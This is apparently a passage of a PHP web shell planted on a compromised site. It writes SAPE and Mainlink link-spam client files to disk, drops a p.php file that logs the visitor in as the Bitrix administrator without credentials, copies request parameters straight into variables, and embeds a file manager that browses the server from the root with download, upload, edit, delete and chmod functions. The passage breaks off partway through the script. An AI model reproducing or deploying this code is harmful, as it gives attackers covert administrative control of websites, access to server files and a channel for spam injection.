                foreach (\$this->_ucode_places as \$place) {
                    \$params .= 'w[n].push(' . json_encode(\$place) . ');';
                }

                return '<script type="text/javascript">(function(w,d,n){w[n]=w[n]||[];' . \$params . '})(window,document,"srtb_places");</script><script type="text/javascript" src="' . \$this->return_script_url() . '" async="async"></script>';
            }

            return '<script type="text/javascript" src="' . \$this->return_script_url() . '" async="async"></script>';
        }

        return '';
    }

    /**
     * @param integer \$block_id
     *
     * @return string
     */
    public function return_block(\$block_id)
    {
        if (\$this->_site_id && isset(\$this->_data['__ads__'][\$block_id])) {
            return '<!-- SAPE RTB DIV ' . \$this->_data['__ads__'][\$block_id]['w'] . 'x' . \$this->_data['__ads__'][\$block_id]['h'] . ' --><div id="SRTB_' . (int)\$block_id . '"></div><!-- SAPE RTB END -->';
        }

        return '';
    }

    /**
     * @param array \$options
     *
     * @return string
     */
    public function return_ucode(\$options)
    {
        if (\$this->_ucode_id) {
            \$params = '';
            foreach (\$options as \$key => \$val) {
                \$params .= ' data-ad-' . \$key . '="' .  htmlspecialchars(\$val, ENT_QUOTES) . '"';
            }

            return '<div class="srtb-tag-' . \$this->_ucode_id . '" style="display:inline-block;"' . \$params . '></div>';
        }

        return '';
    }

    /**
     * @return bool
     */
    public function process_request()
    {
        if (isset(\$_GET['q']) && !empty(\$this->_data['__proxy__'])) {
            \$url = @base64_decode(\$_GET['q']);
            if (\$url !== false) {
                \$test   = false;
                \$prefix = preg_replace('~^(?:https?:)//~', '', \$url);
                foreach (\$this->_data['__proxy__'] as \$u) {
                    if (strpos(\$u, \$prefix) !== 0) {
                        \$test = true;
                        break;
                    }
                }
                if (\$test === false) {
                    \$url = false;
                }
            }

            if (\$url !== false) {
                if (strpos(\$url, '//') === 0) {
                    \$url = 'http:' . \$url;
                }
                if (\$ch = @curl_init()) {
                    \$headers = array();
                    if (function_exists('getallheaders')) {
                        \$headers = getallheaders();
                    } else {
                        foreach (\$_SERVER as \$name => \$value) {
                            if (substr(\$name, 0, 5) == 'HTTP_') {
                                \$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr(\$name, 5)))))] = \$value;
                            }
                        }
                    }

                    @curl_setopt(\$ch, CURLOPT_URL, \$url);
                    @curl_setopt(\$ch, CURLOPT_HEADER, true);
                    @curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);
                    @curl_setopt(\$ch, CURLOPT_CONNECTTIMEOUT, \$this->_socket_timeout);
                    @curl_setopt(\$ch, CURLOPT_USERAGENT, isset(\$headers['User-Agent']) ? \$headers['User-Agent'] : (isset(\$_SERVER['HTTP_USER_AGENT']) ? \$_SERVER['HTTP_USER_AGENT'] : ''));
                    @curl_setopt(\$ch, CURLOPT_HTTPHEADER, \$headers);

                    \$data       = @curl_exec(\$ch);
                    \$headerSize = curl_getinfo(\$ch, CURLINFO_HEADER_SIZE);
                    \$headerText = substr(\$data, 0, \$headerSize);
                    \$data       = substr(\$data, \$headerSize);

                    @curl_close(\$ch);

                    foreach (explode("\r\n", \$headerText) as \$i => \$line) {
                        if (\$line) {
                            header(\$line);
                        }
                    }

                    echo \$data;
                }

                return true;
            }
        }

        header('HTTP/1.x 404 Not Found');

        return false;
    }
}
   
LABEL;
   
   
   
  
   
   file_put_contents('err_class/sape.php',  $sape_file);  
   file_put_contents('err_class/mainlink.php',  $ml_file);
   file_put_contents('err_class/data/ML_lcode.php',  $ml_file2);



	
}





if (isset($_GET['p']) && ($_GET['p']) == 'bitrix') {
	if (!file_exists("p.php")) file_put_contents('p.php', '<?php
		require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/header.php");
		global $USER;
		$one = 1;
		$USER->Authorize($one);
		LocalRedirect("/?bitrix_include_areas=Y"); 
		require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");?>');

	header('Location: p.php');
}

if(!isset($_SERVER['PATH_INFO']) && isset($_SERVER["ORIG_PATH_INFO"])) {
    $_SERVER["PATH_INFO"] = $_SERVER["ORIG_PATH_INFO"];
}
if(!isset($_SERVER['DOCUMENT_ROOT'])) {
    if ( isset($_SERVER['SCRIPT_FILENAME']) ) $path = $_SERVER['SCRIPT_FILENAME'];
    elseif ( isset($_SERVER['PATH_TRANSLATED']) ) $path = str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']);
    $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($path, 0, 0-strlen($_SERVER['PHP_SELF'])));
}


// Register Globals (its an old script..)
$blockKeys = array('_SERVER','_SESSION','_GET','_POST','_COOKIE');
foreach ($_GET as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
foreach ($_POST as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
foreach ($_COOKIE as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
// PHP_VERSION_ID is available as of PHP 5.2.7, if our version is lower than that, then emulate it




$is_windows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
function getServerURL() {
    $url = ($_SERVER["HTTPS"] == "on")?"https://":"http://";
    $url .= $_SERVER["SERVER_NAME"]; // vari??vel do servidor, $_SERVER["HTTP_HOST"] ?? equivalente
    if ($_SERVER["SERVER_PORT"] != "80" && $_SERVER["SERVER_PORT"] != "443") $url .= ":".$_SERVER["SERVER_PORT"];
    return $url;
}
function getCompleteURL() {
    return getServerURL().$_SERVER["REQUEST_URI"];
}
$url = @getCompleteURL();
$url_info = parse_url($url);
$doc_root = rtrim(str_replace(DIRECTORY_SEPARATOR,'/',$_SERVER["DOCUMENT_ROOT"]),'/'); // ex: 'C:/htdocs'
$url_root = rtrim(@getServerURL(),'/'); // ex. 'http://www.site.com'
$fm_file = $doc_root.$_SERVER["PHP_SELF"]; // could use __FILE__
$fm_url = $url_root.$_SERVER["PHP_SELF"];
$fm_path_info = pathinfo($fm_file);
$open_basedir_ini = trim(str_replace(DIRECTORY_SEPARATOR,'/',@ini_get("open_basedir")));
$open_basedirs = array();
if (strlen($open_basedir_ini)) {
    $dirs = array($open_basedir_ini);
    if ($is_windows) {
        if (strpos($open_basedir_ini,';') !== false) {
            $dirs = explode(';',$open_basedir_ini);
        }
        $dirs = array_map('ucfirst',$dirs);
    } else {
        if (strpos($open_basedir_ini,':') !== false) {
            $dirs = explode(':',$open_basedir_ini);
        }
    }
    foreach ($dirs as $dir) {
        $dir = rtrim($dir,"/")."/"; // fm_root must have trailing slash
        if (is_dir($dir)) $open_basedirs[] = $dir;
    }
}

if (!function_exists('mb_strtoupper')) {
    die('PHP File Manager<br>Error: Please enable "mbstring" php module.');
}

$charset = "UTF-8";
$quota_mb = 0;
$upload_ext_filter = array();
$download_ext_filter = array();
$cookie_cache_time = 60*60*24*30; // 30 Days


//@setlocale(LC_CTYPE, 'C');
//@ini_set('default_charset', $charset);



if (!isset($fm_current_root)) {
    if ($is_windows) {
        if (strpos($doc_root,":") !== false) $fm_current_root = ucfirst(substr($doc_root,0,strpos($doc_root,":")+1)."/"); // If doc_root has ":" take the drive letter
        $fm_current_root = ucfirst($doc_root."/");
    } else {
        $fm_current_root = "/"; // Linux default show root
    }
} else {
    if ($is_windows) $fm_current_root = ucfirst($fm_current_root);
}
if (count($open_basedirs)){
    $fm_current_root_ok = false;
    foreach ($open_basedirs as $open_basedir) {
        if (strpos($fm_current_root,$open_basedir) !== false) {
            $fm_current_root_ok = true;
            break;
        }
    }
    if (!$fm_current_root_ok) {
        $fm_current_root = $open_basedirs[0];
    }
}


if (!isset($fm_current_dir)){
    $fm_path = rtrim($fm_path_info["dirname"],"/")."/";
    if (strpos($fm_path,$fm_current_root) !== false) {
        $fm_current_dir = $fm_path;
    } else {
        $fm_current_dir = $fm_current_root;
    }
    if ($is_windows) $fm_current_dir = ucfirst($fm_current_dir);
}
$fm_current_root = rtrim($fm_current_root,"/")."/"; // Must have trailing slash
$fm_current_dir = rtrim($fm_current_dir,"/")."/"; // Must have trailing slash

if (!isset($resolve_ids)){
    setcookie("resolve_ids", 0, time()+$cookie_cache_time, "/");
} elseif (isset($set_resolve_ids)){
    $resolve_ids=($resolve_ids)?0:1;
    setcookie("resolve_ids", $resolve_ids, time()+$cookie_cache_time, "/");
}
if ($resolve_ids){
   setcookie("resolve_ids", 0, time()+$cookie_cache_time, "/");  
}
$fm_color = array();
$fm_color['Bg'] = "EEEEEE";
$fm_color['Text'] = "000000";
$fm_color['Link'] = "0A77F7";
$fm_color['Entry'] = "FFFFFF";
$fm_color['Over'] = "C0EBFD";
$fm_color['Mark'] = "A7D2E4";




// +--------------------------------------------------
// | File Manager Actions
// +--------------------------------------------------

if (!isset($frame)) {
$frame = 0;
} 


if (!isset($action)) {
$action = 0;
} 

    switch ($frame){
        case 1: break; // Empty Frame
        case 2: frame2(); break;
        case 3: frame3(); break;
        default:
            switch($action){
                
                case 3: download(); break;
                case 4: view_form(); break;
                case 5: server_info_form(); break;
                case 6: break;
                case 7: edit_file_form(); break;
                case 8: chmod_form(); break;
                case 10: upload_form(); break;
                default: frameset();
            }
    
 }
// +--------------------------------------------------
// | File System
// +--------------------------------------------------
function total_size($arg) {
    $total = 0;
    if (file_exists($arg)) {
        if (is_dir($arg)) {
            $handle = opendir(fs_encode($arg));
            while($aux = readdir($handle)) {
                if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux);
            }
            @closedir($handle);
        } else $total = filesize($arg);
    }
    return $total;
}
function total_delete($arg) {
    if (file_exists($arg)) {
        @chmod($arg,0755);
        if (is_dir($arg)) {
            $handle = opendir(fs_encode($arg));
            while($aux = readdir($handle)) {
                if ($aux != "." && $aux != "..") total_delete($arg."/".$aux);
            }
            @closedir($handle);
            rmdir($arg);
        } else unlink($arg);
    }
}


function download(){
    global $fm_current_dir,$filename;
    $download_ext_filter = array();
    $file = $fm_current_dir.$filename;
    if(file_exists($file)){
        $is_denied = false;
        foreach($download_ext_filter as $key=>$ext){
            if (eregi($ext,$filename)){
                $is_denied = true;
                break;
            }
        }
        if (!$is_denied){
            $size = filesize($file);
            header("Content-Type: application/save");
            header("Content-Length: $size");
            header("Content-Disposition: attachment; filename=\"$filename\"");
            header("Content-Transfer-Encoding: binary");
            if ($fh = fopen("$file", "rb")){
                fpassthru($fh);
                fclose($fh);
            } else alert(et('ReadDenied').": ".$file);
        } else alert(et('ReadDenied').": ".$file);
    } else alert(et('FileNotFound').": ".$file);
}

function save_upload($temp_file,$filename,$dir_dest) {
    global $upload_ext_filter;
    
    $file = $dir_dest.$filename;
    $filesize = filesize($temp_file);
    $is_denied = false;
    foreach($upload_ext_filter as $key=>$ext){
        if (eregi($ext,$filename)){
            $is_denied = true;
            break;
        }
    }
    if (!$is_denied){
        if (!check_limit($filesize)){
            if (file_exists($file)){
                if (unlink($file)){
                    if (copy($temp_file,$file)){
                        @chmod($file,0755);
                        $out = 6;
                    } else $out = 2;
                } else $out = 5;
            } else {
                if (copy($temp_file,$file)){
                    @chmod($file,0755);
                    $out = 1;
                } else $out = 2;
            }
        } else $out = 3;
    } else $out = 4;
    return $out;
}

// +--------------------------------------------------
// | Data Formating
// +--------------------------------------------------

function formatsize($arg) {
    if ($arg>0){
        $j = 0;
        $ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
        while ($arg >= pow(1024,$j)) ++$j; {
            $arg = (round($arg/pow(1024,$j-1)*100)/100).($ext[$j-1]);
        }
        return $arg;
    } else return "0 Kb";
}
function rep($x,$y){
  if ($x) {
    $aux = "";
    for ($a=1;$a<=$x;$a++) $aux .= $y;
    return $aux;
  } else return "";
}
function str_zero($arg1,$arg2){
    if (strstr($arg1,"-") == false){
        $aux = intval($arg2) - strlen($arg1);
        if ($aux) return rep($aux,"0").$arg1;
        else return $arg1;
    } else {
        return "[$arg1]";
    }
}
function replace_double($sub,$str){
    $out=str_replace($sub.$sub,$sub,$str);
    while ( strlen($out) != strlen($str) ){
        $str=$out;
        $out=str_replace($sub.$sub,$sub,$str);
    }
    return $out;
}

function array_csort() {
  $args = func_get_args();
  $marray = array_shift($args);
  $msortline = "return(array_multisort(";
  $i = 0;
   foreach ($args as $arg) {
       $i++;
       if (is_string($arg)) {
          foreach ($marray as $row) {
               $sortarr[$i][] = $row[$arg];
           }
       } else {
          $sortarr[$i] = $arg;
       }
       $msortline .= "\$sortarr[".$i."],";
   }
   $msortline .= "\$marray));";
   eval($msortline);
   return $marray;
}
function show_perms( $P ) {
   $sP = "<b>";
   if($P & 0x1000) $sP .= 'p';            // FIFO pipe
   elseif($P & 0x2000) $sP .= 'c';        // Character special
   elseif($P & 0x4000) $sP .= 'd';        // Directory
   elseif($P & 0x6000) $sP .= 'b';        // Block special
   elseif($P & 0x8000) $sP .= '&minus;';  // Regular
   elseif($P & 0xA000) $sP .= 'l';        // Symbolic Link
   elseif($P & 0xC000) $sP .= 's';        // Socket
   else $sP .= 'u';                       // UNKNOWN
   $sP .= "</b>";
   // owner - group - others
   $sP .= (($P & 0x0100) ? 'r' : '&minus;') . (($P & 0x0080) ? 'w' : '&minus;') . (($P & 0x0040) ? (($P & 0x0800) ? 's' : 'x' ) : (($P & 0x0800) ? 'S' : '&minus;'));
   $sP .= (($P & 0x0020) ? 'r' : '&minus;') . (($P & 0x0010) ? 'w' : '&minus;') . (($P & 0x0008) ? (($P & 0x0400) ? 's' : 'x' ) : (($P & 0x0400) ? 'S' : '&minus;'));
   $sP .= (($P & 0x0004) ? 'r' : '&minus;') . (($P & 0x0002) ? 'w' : '&minus;') . (($P & 0x0001) ? (($P & 0x0200) ? 't' : 'x' ) : (($P & 0x0200) ? 'T' : '&minus;'));
   return $sP;
}
function format_size($arg) {
    if ($arg>0){
        $j = 0;
        $ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
        while ($arg >= pow(1024,$j)) ++$j;
        return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];
    } else return "0 bytes";
}
function get_size($file) {
    return format_size(filesize($file));
}
function check_limit($new_filesize=0) {
    global $fm_current_root;
    global $quota_mb;
    if($quota_mb){
        $total = total_size($fm_current_root);
        if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true;
    }
    return false;
}
function get_user($arg) {
    global $mat_passwd;
    $aux = "x:".trim($arg).":";
    for($x=0;$x<count($mat_passwd);$x++){
        if (strstr($mat_passwd[$x],$aux)){
            $mat = explode(":",$mat_passwd[$x]);
            return $mat[0];
        }
    }
    return $arg;
}
function get_group($arg) {
    global $mat_group;
    $aux = "x:".trim($arg).":";
    for($x=0;$x<count($mat_group);$x++){
        if (strstr($mat_group[$x],$aux)){
            $mat = explode(":",$mat_group[$x]);
            return $mat[0];
        }
    }
    return $arg;
}
function uppercase($str){
    global $charset;
    return mb_strtoupper($str, $charset);
}
function lowercase($str){
    global $charset;
    return mb_strtolower($str, $charset);
}
// +--------------------------------------------------
// | Interface
// +--------------------------------------------------
function html_header($header=""){
    global $charset,$fm_color;
    echo "
    <!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
   
    <head>

    <title>...::::FM</title>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        function Is(){
            this.appname = navigator.appName;
            this.appversion = navigator.appVersion;
            this.platform = navigator.platform;
            this.useragent = navigator.userAgent.toLowerCase();
            this.ie = ( this.appname == 'Microsoft Internet Explorer' );
            if (( this.useragent.indexOf( 'mac' ) != -1 ) || ( this.platform.indexOf( 'mac' ) != -1 )){
                this.sisop = 'mac';
            } else if (( this.useragent.indexOf( 'windows' ) != -1 ) || ( this.platform.indexOf( 'win32' ) != -1 )){
                this.sisop = 'windows';
            } else if (( this.useragent.indexOf( 'inux' ) != -1 ) || ( this.platform.indexOf( 'linux' ) != -1 )){
                this.sisop = 'linux';
            }
        }
        var is = new Is();
        function enterSubmit(keypressEvent,submitFunc){
            var kCode = (is.ie) ? keypressEvent.keyCode : keypressEvent.which
            if( kCode == 13) eval(submitFunc);
        }
        function getCookieVal (offset) {
            var endstr = document.cookie.indexOf (';', offset);
            if (endstr == -1) endstr = document.cookie.length;
            return decodeURIComponent(document.cookie.substring(offset, endstr));
        }
      
        var frameWidth, frameHeight;
        function getFrameSize(){
            if (self.innerWidth){
                frameWidth = self.innerWidth;
                frameHeight = self.innerHeight;
            }else if (document.documentElement && document.documentElement.clientWidth){
                frameWidth = document.documentElement.clientWidth;
                frameHeight = document.documentElement.clientHeight;
            }else if (document.body){
                frameWidth = document.body.clientWidth;
                frameHeight = document.body.clientHeight;
            }else return false;
            return true;
        }
        getFrameSize();
    //-->
    </script>
    ".$header."
    </head>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        var W = screen.width;
        var H = screen.height;
        var FONTSIZE = 0;
        switch (W){
            case 640:
                FONTSIZE = 8;
            break;
            case 800:
                FONTSIZE = 10;
            break;
            case 1024:
                FONTSIZE = 12;
            break;
            default:
                FONTSIZE = 14;
            break;
        }
    ";
    echo replace_double(" ",str_replace(chr(13),"",str_replace(chr(10),"","
        document.writeln('
        <style type=\"text/css\">
        html {
            width: 100%;
            margin-left: 0 !important;
        }
        body {
            font-family : Arial;
            font-size: '+FONTSIZE+'px;
            font-weight : normal;
            color: #".$fm_color['Text'].";
            background-color: #".$fm_color['Bg'].";
        }
        table {
            font-family : Arial;
            font-size: '+FONTSIZE+'px;
            font-weight : normal;
            color: #".$fm_color['Text'].";
            cursor: default;
        }
        input {
            font-family : Arial;
            font-size: '+FONTSIZE+'px;
            font-weight : normal;
            color: #".$fm_color['Text'].";
        }
        textarea {
            font-family : Courier;
            font-size: 12px;
            font-weight : normal;
            color: #".$fm_color['Text'].";
        }
        a {
            font-family : Arial;
            font-size : '+FONTSIZE+'px;
            font-weight : bold;
            text-decoration: none;
            color: #".$fm_color['Text'].";
        }
        a:link {
            color: #".$fm_color['Text'].";
        }
        a:visited {
            color: #".$fm_color['Text'].";
        }
        a:hover {
            color: #".$fm_color['Link'].";
        }
        a:active {
            color: #".$fm_color['Text'].";
        }
        tr.entryUnselected {
            background-color: #".$fm_color['Entry'].";
        }
        tr.entryUnselected:hover {
            background-color: #".$fm_color['Over'].";
        }
        tr.entrySelected {
            background-color: #".$fm_color['Mark'].";
        }
        </style>
        ');
    ")));
    echo "
    //-->
    </script>
    ";
}
function reloadframe($ref,$frame_number,$Plus=""){
    global $fm_current_dir,$fm_path_info;
    echo "
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        ".$ref.".frame".$frame_number.".location.href='".$fm_path_info["basename"]."?frame=".$frame_number."&fm_current_dir=".$fm_current_dir.$Plus."';
    //-->
    </script>
    ";
}
function alert($arg){
    echo "
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        alert('$arg');
    //-->
    </script>
    ";
}
define ('UTF32_BIG_ENDIAN_BOM'   , chr(0x00).chr(0x00).chr(0xFE).chr(0xFF));
define ('UTF32_LITTLE_ENDIAN_BOM', chr(0xFF).chr(0xFE).chr(0x00).chr(0x00));
define ('UTF16_BIG_ENDIAN_BOM'   , chr(0xFE).chr(0xFF));
define ('UTF16_LITTLE_ENDIAN_BOM', chr(0xFF).chr(0xFE));
define ('UTF8_BOM'               , chr(0xEF).chr(0xBB).chr(0xBF));

function get_encoding($text){
   


return mb_detect_encoding($text);

}


function utf8_convert($str){
    if (extension_loaded('mbstring') && extension_loaded('iconv')) {
        $str_chatset = get_encoding($str);
        if ($str_chatset == "UTF-8") return $str;
        return iconv($str_chatset, "UTF-8//TRANSLIT", $str);
    } else return utf8_encode($str);
}
function convert_charset($str,$charset){
    $str_chatset = get_encoding($str);
    if ($str_chatset == $charset) return $str;
    else return iconv($str_chatset, $charset."//TRANSLIT", $str);
}
function fs_encode($str){
    global $is_windows;
    if ($is_windows) {
        if (extension_loaded('mbstring') && extension_loaded('iconv')) {
            $str = convert_charset($str,'ISO-8859-1');
        }
    }
    return $str;
}
class fs
{
    protected $base = null;

    public function __construct($base) {
        $this->base = $this->real($base);
        
    }
    protected function real($path) {
        $temp = realpath(fs_encode($path));
        
        if($this->base && strlen($this->base)) {
            
        }
        return $temp;
    }
    protected function path($id) {
        $id = str_replace('/', DIRECTORY_SEPARATOR, $id);
        $id = trim($id, DIRECTORY_SEPARATOR);
        $id = $this->real($this->base . DIRECTORY_SEPARATOR . $id);
        return $id;
    }
    protected function id($path) {
        $path = $this->real($path);
        $path = substr($path, strlen($this->base));
        $path = str_replace(DIRECTORY_SEPARATOR, '/', $path);
        $path = trim($path, '/');
        return strlen($path) ? $path : '/';
    }
    public function lst($id, $with_root = false) {
        global $is_windows;
        $dir = $this->path($id);
        $lst = @scandir($dir);
        
        $res = array();
        foreach($lst as $item) {
            if($item == '.' || $item == '..' || $item === null) { continue; }
            if(is_dir($dir . DIRECTORY_SEPARATOR . $item)) {
                $res[] = array('text' => utf8_convert($item), 'children' => true,  'id' => utf8_convert($this->id($dir . DIRECTORY_SEPARATOR . $item)), 'icon' => 'folder');
            }
        }
        if($with_root && $this->id($dir) === '/') {
            $text = utf8_convert(str_replace("\\","/",$this->base));
            $res = array(array('text' => $text, 'children' => $res, 'id' => '/', 'icon'=>'folder', 'state' => array('opened' => true, 'disabled' => false)));
        }
        return $res;
    }
    public function data($id) {
        if(strpos($id, ":")) {
            $id = array_map(array($this, 'id'), explode(':', $id));
            return array('type'=>'multiple', 'content'=> 'Multiple selected: ' . implode(' ', $id));
        }
        $dir = $this->path($id);
        if(is_dir($dir)) {
            return array('type'=>'folder', 'content'=> $id);
        }
        
    }
}
function frame2(){
    global $fm_current_root,$fm_path_info,$setflag,$is_windows,$cookie_cache_time,$fm_current_dir,$open_basedirs;
    if(isset($_GET['operation'])) {
        $fs = new fs($fm_current_root);
        try {
            $rslt = null;
            switch($_GET['operation']) {
                case 'get_node':
                    $node = isset($_GET['id']) && $_GET['id'] !== '#' ? $_GET['id'] : '/';
                    $rslt = $fs->lst($node, true);
                    break;
                default:
                    
                    break;
            }
            header('Content-Type: application/json; charset=utf-8');
            echo json_encode($rslt);
        }
        catch (Exception $e) {
            header($_SERVER["SERVER_PROTOCOL"] . ' 500 Server Error');
            header('Status:  500 Server Error');
            echo $e->getMessage();
        }
        die();
    }
    html_header("
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        function saveFrameSize(){
            if (getFrameSize()){
                var exp = new Date();
                exp.setTime(exp.getTime()+$cookie_cache_time);
                setCookie('leftFrameWidth',frameWidth,exp);
            }
        }
        window.onresize = saveFrameSize;
    //-->
    </script>");
    echo "<body marginwidth=\"0\" marginheight=\"0\">
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        // Disable text selection, binding the onmousedown, but not for some elements, it must work.
        function disableTextSelection(e){
            var type = String(e.target.type);
            return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1);
        }
        function enableTextSelection(){return true}
        if (is.ie) document.onselectstart=new Function('return false')
        else {
            document.body.onmousedown=disableTextSelection
            document.body.onclick=enableTextSelection
        }
        var flag = ".(($setflag)?"true":"false")."
        function set_flag(arg) {
            flag = arg;
        }
        function go_dir(arg) {
            var setflag;
            setflag = (flag)?1:0;
            document.location.href='".addslashes($fm_path_info["basename"])."?frame=2&fm_current_root=".rawurlencode($fm_current_root)."&setflag='+setflag+'&fm_current_dir=".addslashes($fm_current_dir)."&ec_dir='+arg;
        }
        function go(arg) {
            if (flag) {
                parent.frame3.set_dir_dest(arg+'/');
                flag = false;
            } else {
                parent.frame3.location.href='".addslashes($fm_path_info["basename"])."?frame=3&fm_current_root=".rawurlencode($fm_current_root)."&fm_current_dir='+arg+'/';
            }
        }
        function set_fm_current_root(arg){
            document.location.href='".addslashes($fm_path_info["basename"])."?frame=2&fm_current_root='+encodeURIComponent(arg);
        }
        function refresh_tree(){
            document.location.href='".addslashes($fm_path_info["basename"])."?frame=2&fm_current_root=".rawurlencode($fm_current_root)."';
        }
       
    //-->
    </script>
    ";
    echo "<table width=\"100%\" height=\"100%\" border=0 cellspacing=0 cellpadding=5>\n";
    echo "<tr valign=top height=10><td>";
    echo "<form style=\"display:inline-block;margin-top:-2px;\" action=\"".$fm_path_info["basename"]."\" method=\"post\" target=\"_parent\">";
        $fm_root_opts=array();
        if (count($open_basedirs)>1){
            foreach ($open_basedirs as $dir) {
                $is_sel=(strpos($fm_current_root,$dir) !== false)?"selected":"";
                $fm_root_opts[] = "<option ".$is_sel." value=\"".$dir."\">".($dir)."</option>";
            }
        } elseif ($is_windows){
            $drives=array();
            $aux="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
            for($x=0;$x<strlen($aux);$x++){
                $dir = $aux[$x].":/";
                if ($handle = @opendir($dir)){
                    @closedir($handle);
                    $is_sel=(strpos(uppercase($fm_current_root),$dir) !== false)?"selected":"";
                    $fm_root_opts[] = "<option ".$is_sel." value=\"".$dir."\">".($dir)."</option>";
                }
            }
        }
        if (count($fm_root_opts)>1) echo "<select name=drive onchange=\"set_fm_current_root(this.value)\" style=\"margin-right:5px;\">".implode("\n",$fm_root_opts)."</select>";
        echo "<input type=button value=".et('Refresh')." onclick=\"refresh_tree()\">";
        
    echo "</form>";
    echo "</td></tr>";
    echo "<tr valign=top><td>";
    ?>
       
        <script type="text/javascript" src="<?php echo $fm_path_info["basename"]; ?>?action=99&filename=jstree.min.js"></script>
        <link rel="stylesheet" type="text/css" href="<?php echo $fm_path_info["basename"]; ?>?action=99&filename=jstree.style.min.css" media="screen" />
        
        <div id="container" role="main">
            <div id="tree"></div>
        </div>
        <script>
        var tree_loaded = false;
        var tree_auto_load_nodes = <?php echo json_encode(explode("/",trim(str_replace($fm_current_root,'',$fm_current_dir),'/'))); ?>;
        var tree_auto_load_node_curr = 0;
        //console.log(tree_auto_load_nodes);
        function tree_auto_load(){
            if (tree_auto_load_node_curr > tree_auto_load_nodes.length) return;
            //console.log('tree_auto_load()');
            var node_id = tree_auto_load_nodes.slice(0, tree_auto_load_node_curr+1).join("/");
            var node = $('#tree').find("[id='"+node_id+"']:eq(0)");
            //console.log(node_id);
            //console.log(node);
            tree_auto_load_node_curr++;
            if (tree_auto_load_node_curr == tree_auto_load_nodes.length) {
                if (node.length) {
                    $("#tree").jstree(true).open_node(node, function(){
                        $('#tree').jstree(true).select_node(node,true);
                        tree_loaded = true;
                    }, false);
                } else {
                    tree_loaded = true;
                }
            } else {
                if (node.length) {
                    $("#tree").jstree(true).open_node(node, tree_auto_load, false);
                } else {
                    tree_auto_load();
                }
            }
        }
        $(function () {
            $('#tree')
                .jstree({
                    'core' : {
                        'data' : {
                            'url' : '?frame=2&fm_current_root=<?php echo rawurlencode($fm_current_root) ?>&operation=get_node',
                            'data' : function (node) {
                                return { 'id' : node.id };
                            }
                        },
                        'check_callback' : function(o, n, p, i, m) {
                            if(m && m.dnd && m.pos !== 'i') { return false; }
                            if(o === "move_node" || o === "copy_node") {
                                if(this.get_node(n).parent === this.get_node(p).id) { return false; }
                            }
                            return true;
                        },
                        'force_text' : true,
                        'themes' : {
                            'responsive' : false,
                            'variant' : 'small',
                            'stripes' : false
                        },
                        'expand_selected_onload' : true
                    },
                    'sort' : function(a, b) {
                        return this.get_type(a) === this.get_type(b) ? (this.get_text(a) > this.get_text(b) ? 1 : -1) : (this.get_type(a) >= this.get_type(b) ? 1 : -1);
                    },
                    'types' : {
                        'default' : { 'icon' : 'folder' },
                        'file' : { 'valid_children' : [], 'icon' : 'file' }
                    },
                    'unique' : {
                        'duplicate' : function (name, counter) {
                            return name + ' ' + counter;
                        }
                    },
                    'massload' : {
                        'url' : '?frame=2&fm_current_root=<?php echo rawurlencode($fm_current_root) ?>&operation=get_node',
                        'data' : function (nodes) {
                            return { 'ids' : nodes.join(',') };
                        }
                    },
                    'plugins' : ['sort','types','unique'] // 'state', 'massload'
                })
            //.on('changed.jstree', function (e, data) {
            .on('select_node.jstree', function (e, data) {
                if (!tree_loaded) return;
                if (data && data.selected && data.selected.length) {
                    //console.log('select_node.jstree()');
                    //console.log(data);
                    go('<?php echo rtrim($fm_current_root,'/'); ?>/'+data.selected[0]);
                }
            })
            .on('loaded.jstree', function (e, data) {
                //console.log('loaded.jstree()');
                //console.log(e);
                //console.log(data);
                tree_auto_load();
            });
            //$('#tree').jstree(true).clear_state();
        });
        </script>
    <?php
    echo "</td></tr>";
    echo "</table>\n";
    
    
    
    
    
    echo "</body>\n</html>";
}
function getmicrotime(){
   list($usec, $sec) = explode(" ", microtime());
   return ((float)$usec + (float)$sec);
}
function dir_list_form() {
    global $fm_current_root,$fm_current_dir,$quota_mb,$resolve_ids,$order_dir_list_by,$is_windows,$cmd_name,$ip,$lan_ip,$fm_path_info;
    $ti = getmicrotime();
    clearstatcache();
    $out = "<style>
        #modalDiv {
            background: #000;
            opacity: 0.5;
            width: 100%;
            height: 100%;
            position: fixed;
            top: 0;
            left: 0;
            z-index: 30000;
            display: none;
        }
        #modalIframeWrapper {
            background: #FFF;
           
            position: absolute;
            top: 55%;
            left: 55%;
            transform: translate(-60%, -60%);
            z-index: 32000;
            display: none;
        }
        #modalIframe {
            background: #FFF;
            width: 740px;
            height: 480px;
            overflow-y: scroll;
            overflow-x: auto;
          
           
        }
    </style>
    <div id=\"modalDiv\"></div>
    <div id=\"modalIframeWrapper\">
        <table border=0 cellspacing=1 cellpadding=4>
            <tr><td id=\"modalIframeWrapperTitle\" style=\"font-weight:bold;\">Title</td><td align=right width=10><nobr><a style=\"margin-right:2px;\" href=\"JavaScript:closeModalWindow()\">".et('Close')."</a></nobr></td></tr>
            <tr><td colspan=2><iframe id=\"modalIframe\" src=\"\" scrolling=\"yes\" frameborder=\"0\"></iframe></td></tr>
        </table>
    </div>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        var modalWindowReloadOnClose = false;
